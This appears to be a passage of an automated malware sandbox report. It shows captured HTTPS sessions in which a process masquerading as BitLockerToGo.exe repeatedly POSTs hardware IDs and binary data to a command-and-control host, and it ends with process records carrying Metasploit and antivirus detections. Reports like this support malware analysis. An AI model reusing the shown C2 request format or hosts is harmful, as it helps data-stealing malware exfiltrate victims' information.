3	192.168.2.4	49739	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:25 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18159 Host: villagedguy.cyou
2024-10-31 00:05:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:25 UTC	2828	OUT	Data Raw: f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-10-31 00:05:26 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=auo0ol4b1h942q8k2fvlmspfnf; expires=Sun, 23-Feb-2025 17:52:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bYRqf5jtzG6uFgOAp%2Bj25M8T03u7Nkkm%2FOEmtv5PUtJYevVbAFPgwq0UQZaARtgZixDyP30qSHS0VYDEGhPPeuf5bUu%2FA3eCip41nAADMPkiCEukG4Y8d4rPEaff1CTbLql%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64b57cbb7d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19121&delivery_rate=1250431&cwnd=251&unsent_bytes=0&cid=567f16e973b4d760&ts=589&x=0"
2024-10-31 00:05:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8780 Host: villagedguy.cyou
2024-10-31 00:05:27 UTC	8780	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:27 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pmai34repfp50bo3snlqpdtkv1; expires=Sun, 23-Feb-2025 17:52:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6sIeBG8uORG8t5%2BYxquB%2Boti4rZSbNsQAIiShaY3euWWd16zUKCPXGRh5GxdLYEypiqhAig2cU1PVt0sh5jLoW%2ButaZpL4ahc5rPkC0MoE3KpdemXMCLcC5NRigCgY8quUfE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64bdb86ce7cf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1427&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9719&delivery_rate=1978142&cwnd=251&unsent_bytes=0&cid=e454f39c4d69337e&ts=715&x=0"
2024-10-31 00:05:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:28 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20433 Host: villagedguy.cyou
2024-10-31 00:05:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:28 UTC	5102	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-10-31 00:05:30 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1qu1m2pnumvm6vqfhjp6cdkkg; expires=Sun, 23-Feb-2025 17:52:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DUhN22AzAClVyrRVPzXErOPkexlhir5q9tPAdtACBEatWEKqlOjUEvGihjetxb3mlt00xCidIoV68BjFhwk505rN%2BeXOs6vdI35%2FwtJ%2BXOSgRju0bF6nqaxazhf8T%2FzK8Jpw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64c72ec76b79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21395&delivery_rate=2656880&cwnd=239&unsent_bytes=0&cid=b101e6337c9b8097&ts=2142&x=0"
2024-10-31 00:05:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3802 Host: villagedguy.cyou
2024-10-31 00:05:31 UTC	3802	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:32 UTC	1010	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rct5djjme2ri6ta2g9bq8daomm; expires=Sun, 23-Feb-2025 17:52:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BwKxEHzs8oF1q6FlDADcC92k%2BW7kPQeRX5Pv%2B%2F70CrmVJjKxxSHAMHe%2FzLFgILVxnlUAjRtpIZy3ElJs0N1Sv8TCQ6wg7HhiaNsYMwAfaR2hXH3SJ8XWsq9XsuwEFryN2oNj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64da6c4c2ff0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1944&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=4719&delivery_rate=1427304&cwnd=239&unsent_bytes=0&cid=07b59ef199ee70f3&ts=480&x=0"
2024-10-31 00:05:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:33 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3818 Host: villagedguy.cyou
2024-10-31 00:05:33 UTC	3818	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:33 UTC	1008	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9anensbm23h0oe95a596m64de; expires=Sun, 23-Feb-2025 17:52:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KpFVmowqbp49kzMs%2BGe9FBVExu%2FW8JnJmbzrbasIsWuz5wcak1uN3xSxsVdaoQ2iyyAN9RnwjSduCLTBYuEVkJRVBVBRP%2FHAZS8lnHAjpkck8hbiiFEdW8EY7WYq5nKk3HOq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64e34c0028d1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1113&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=4735&delivery_rate=2558303&cwnd=251&unsent_bytes=0&cid=d5c2178b049e17df&ts=485&x=0"
2024-10-31 00:05:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:34 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: villagedguy.cyou
2024-10-31 00:05:34 UTC	1249	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:34 UTC	1003	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bcq53aqcleu2sdkdr4p0fnf8nn; expires=Sun, 23-Feb-2025 17:52:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zIibD2mtUyAGCFAiSK8RGgFzUd0lgbkKgavyjkuDmWST77OQpEauS64bbLevw3DyRu%2BTCCZ6fb1YfjgWda1h5kKL128nnYGEEm0znaaXl7ko7XIkwZrxpGSewQ8zXkM0YQ5e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64eb1a2247a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=996&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2166&delivery_rate=2789980&cwnd=251&unsent_bytes=0&cid=8f5b0fbfcacdffa4&ts=484&x=0"
2024-10-31 00:05:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	104.21.32.196	443	2676	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:05:35 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1117 Host: villagedguy.cyou
2024-10-31 00:05:35 UTC	1117	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 35 35 30 43 35 38 46 38 30 32 42 31 37 42 42 38 31 38 41 38 33 41 31 41 33 42 44 31 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 33 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5E550C58F802B17BB818A83A1A3BD1B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--3--
2024-10-31 00:05:36 UTC	1007	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:05:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s363s9f4gb305l4loqg6cflpa0; expires=Sun, 23-Feb-2025 17:52:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=muG1CwzFxqdnCkkKkAKFD01jem3oyRZohsUEkPt5erdJxETjp1R%2F9VTr2eB%2BNU2HdUuiHTWVmUBrnI2FtbupRbjyCWMVGeeUGtC6uecjYXctPR5SJpCMtERe4f2UJBN%2BAQDI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf64f2bc6ab789-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1291&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2034&delivery_rate=2177443&cwnd=39&unsent_bytes=0&cid=8412496ea1b3d61d&ts=339&x=0"
2024-10-31 00:05:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:05:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:05:02
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\HLZwUhcJ28.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\HLZwUhcJ28.exe"
Imagebase:	0x7ff70ecd0000
File size:	13'706'949 bytes
MD5 hash:	B736DA6A81E01BEBFDD469D26785E13C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:05:04
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe"
Imagebase:	0x980000
File size:	17'504'256 bytes
MD5 hash:	C1A90FA945AD6CED2104263762C7FCB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000001.00000002.1881484672.000000000A7D8000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
